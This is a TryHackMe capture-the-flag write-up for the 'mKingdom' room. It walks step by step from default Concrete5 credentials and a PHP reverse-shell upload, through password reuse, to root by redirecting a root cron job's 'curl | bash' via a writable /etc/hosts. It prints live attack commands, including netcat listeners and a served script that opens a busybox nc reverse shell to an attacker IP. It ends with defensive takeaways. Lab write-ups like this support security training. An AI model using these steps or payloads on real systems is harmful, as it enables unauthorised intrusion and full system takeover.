mKingdom — TryHackMe Write-up

1. Overview

mKingdom is an easy-difficulty TryHackMe room that emphasizes clear enumeration, lateral movement through multiple user accounts, and identifying critical system misconfigurations. The room showcases how a seemingly small error—a writable /etc/hosts file—can be leveraged to hijack internal communications and achieve full system compromise.

Key Techniques Covered:

• Web Enumeration and Directory Fuzzing
• CMS Default Credential Exploitation
• Restricted File Upload to Remote Code Execution (RCE)
• Credential Harvesting from Configuration Files
• Base64 Token Decoding for User Pivoting
• Identifying "Trap" Sudo Permissions
• DNS Hijacking via writable /etc/hosts
• Exploiting Root Cronjobs fetching remote scripts
• Bypassing restricted binaries (SUID cat) using Busybox

2. Reconnaissance

2.1 Port Scanning

Initial reconnaissance began with a high-speed port scan using rustscan to identify all open ports and services:

rustscan -a <target-ip> -- -A

Results:

• Port 85: Apache 2.4.7 (Ubuntu).

[!NOTE] The web server is running on a non-standard port (85), which is the primary attack surface for this machine.

2.2 Directory Enumeration

To map out the application's attack surface, I performed directory brute-forcing using feroxbuster:

feroxbuster -u http://<target-ip>:85 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x txt,zip,bak

Discovery:

/app (301)

Accessing http://<target-ip>:85/app/ reveals a CMS landing page.

3. Initial Foothold: CMS Access

3.1 CMS Login

The /app/ directory leads to a login panel for the Concrete5 CMS. Testing for default credentials proved successful:

• Username: admin
• Password: password

This grants full administrative access to the CMS dashboard.

3.2 Restricted File Upload → RCE

With administrative access, the system's file upload restrictions can be modified to allow malicious scripts.

1. Enable PHP Uploads: Navigate to: Dashboard → System & Settings → Allowed File Types. Add php to the list of permitted extensions.

   

2. Upload Reverse Shell: Using a standard PHP reverse shell (e.g., Pentest Monkey), I uploaded the payload and started a listener on the attacker machine:

   BASH COPY COPIED!

   nc -lnvp 4444

3. Triggering Execution: Accessing the uploaded file triggered the shell, granting initial access as the www-data user.

   BASH COPY COPIED!

   uid=33(www-data)

4. Shell Stabilization: I stabilized the shell using Python:

   BASH COPY COPIED!

   python3 -c 'import pty;pty.spawn("/bin/bash")'

4. Post-Exploitation Enumeration

4.1 Enumeration as www-data

As www-data, I attempted to access user home directories, but permissions were restricted:

/home/mario → Permission denied
/home/toad → Permission denied

4.2 Extracting Database Credentials

Searching the application filesystem for sensitive files revealed plaintext credentials in a configuration file:

cat /var/www/html/app/castle/application/config/database.php

Credentials Discovered:

• Database: mKingdom
• Password: toadisthebest

5. User Pivot: toad

The discovered password worked for the user toad.

su toad
# Password: toadisthebest

5.1 Token Discovery via linpeas

Running linpeas (or manually checking environment variables) revealed an encoded token stored in the environment:

PWD_token=aWthVGVOVEFOdEVTCg==

5.2 Decoding the Token

The token was encoded in Base64:

echo "aWthVGVOVEFOdEVTCg==" | base64 -d

Result: ikaTeNTANtES

6. User Pivot: mario

The decoded token provided the password for the user mario.

su mario
# Password: ikaTeNTANtES

6.1 Sudo Enumeration (The Trap)

Checking sudo permissions for mario revealed:

sudo -l
# (ALL) /usr/bin/id

Analysis:

• No direct shell escape is possible from /usr/bin/id.
• Environment variables are restricted.
• This is a deliberate trap designed to misdirect the attacker.

However, I could still use this to read the user flag by piping the execution:

mario@mkingdom:~$ sudo /usr/bin/id | less /home/mario/user.txt

User Flag: thm{REDACTED}

7. Privilege Escalation to Root

7.1 Root Execution Discovery

Using a process monitoring tool like pspy, I discovered a recurring task executed by root:

curl mkingdom.thm:85/app/castle/application/counter.sh | bash

Key Observation:

• The task runs as root.
• It uses a hostname (mkingdom.thm) to fetch a script via HTTP.
• It executes the fetched script directly in bash.

7.2 Critical Misconfiguration: Writable /etc/hosts

I checked the permissions of the hosts file and found it was writable by the user mario:

ls -lah /etc/hosts
# -rw-rw-r-- 1 root mario /etc/hosts

8. Exploitation: DNS Hijacking

By modifying the hosts file, I could redirect the root user's curl request to my own attacker machine.

8.1 Hijacking the Hostname

Edit /etc/hosts and point mkingdom.thm to your attacker IP:

nano /etc/hosts
# Change: 127.0.0.1 mkingdom.thm → <ATTACKER_IP> mkingdom.thm

8.2 Malicious Server Setup

On the attacker machine, I setup the expected directory structure and the malicious script:

1. Create directories:

   BASH COPY COPIED!

   mkdir -p app/castle/application
   cd app/castle/application

2. Create Malicious Script (counter.sh):

   BASH COPY COPIED!

   echo "busybox nc <attacker-ip> 4444 -e /bin/bash" > counter.sh

3. Start Web Server: I started a Python HTTP server in the root of the "app" structure:

   BASH COPY COPIED!

   cd ~/app
   python3 -m http.server 85

4. Start Listener:

   BASH COPY COPIED!

   nc -lnvp 4444

When the cron job next executed, it fetched the malicious script from my server and executed it as root, providing a reverse shell.

9. Final Flag Retrieval

Upon gaining the root shell, I attempted to read the root flag:

cat /root/root.txt
# cat root.txt → Permission denied

Identifying the Root Cause

Even as root, the standard cat command failed. My enumeration revealed that /bin/cat was a modified SUID binary owned by toad.

/bin/cat → SUID → owned by toad

Final Bypass

To read the flag, I bypassed the restricted cat binary by using Busybox:

/bin/busybox cat /root/root.txt

Root Flag: thm{REDACTED}

10. Full Attack Chain Summary

For a quick reference, here is the complete exploitation path followed:

1. Fuzz /app: Discovered the hidden CMS directory.
2. CMS Login: Identified default credentials (admin:password).
3. RCE via Upload: Enabled PHP file uploads in the system settings and uploaded a reverse shell.
4. Initial Foothold: Received a shell as www-data.
5. Credential Harvesting: Extracted database credentials (toadisthebest) from the application config.
6. Lateral Movement (toad): Pivoted to the user toad using password reuse.
7. Token Discovery: Found a Base64-encoded token in the environment variables.
8. Lateral Movement (mario): Decoded the token to obtain the password for mario.
9. User Flag: Used a "trap" sudo permission to read the user flag.
10. PrivEsc Discovery: Identified a root cron job executing a shell script via a hostname.
11. DNS Hijacking: Leveraged a writable /etc/hosts file to redirect the hostname to an attacker-controlled machine.
12. Root Shell: Served a malicious script via HTTP, which the root cron job executed.
13. Root Flag: Bypassed a restricted cat binary using busybox to read the final flag.

11. Key Takeaways

1. DNS Hijacking via Writable Configs: A writable /etc/hosts file is a high-severity misconfiguration that allows an attacker to intercept or redirect internal traffic, especially dangerous when scripts are fetched via hostnames.
2. Restricting Privileged Logic: Cronjobs that fetch and execute remote content as root should never use insecure protocols (HTTP) or hostnames that can be modified by non-privileged users.
3. Binaries and SUID Bit: Standard system utilities like cat can be modified to enforce arbitrary restrictions. Always check for alternate binaries (e.g., busybox, perl, python) to read files when the defaults are restricted.
4. Credential Harvesting: Always thoroughly enumerate application configuration files (database.php, config.json) as they often contain plaintext credentials or tokens for other system users.

Happy Hacking!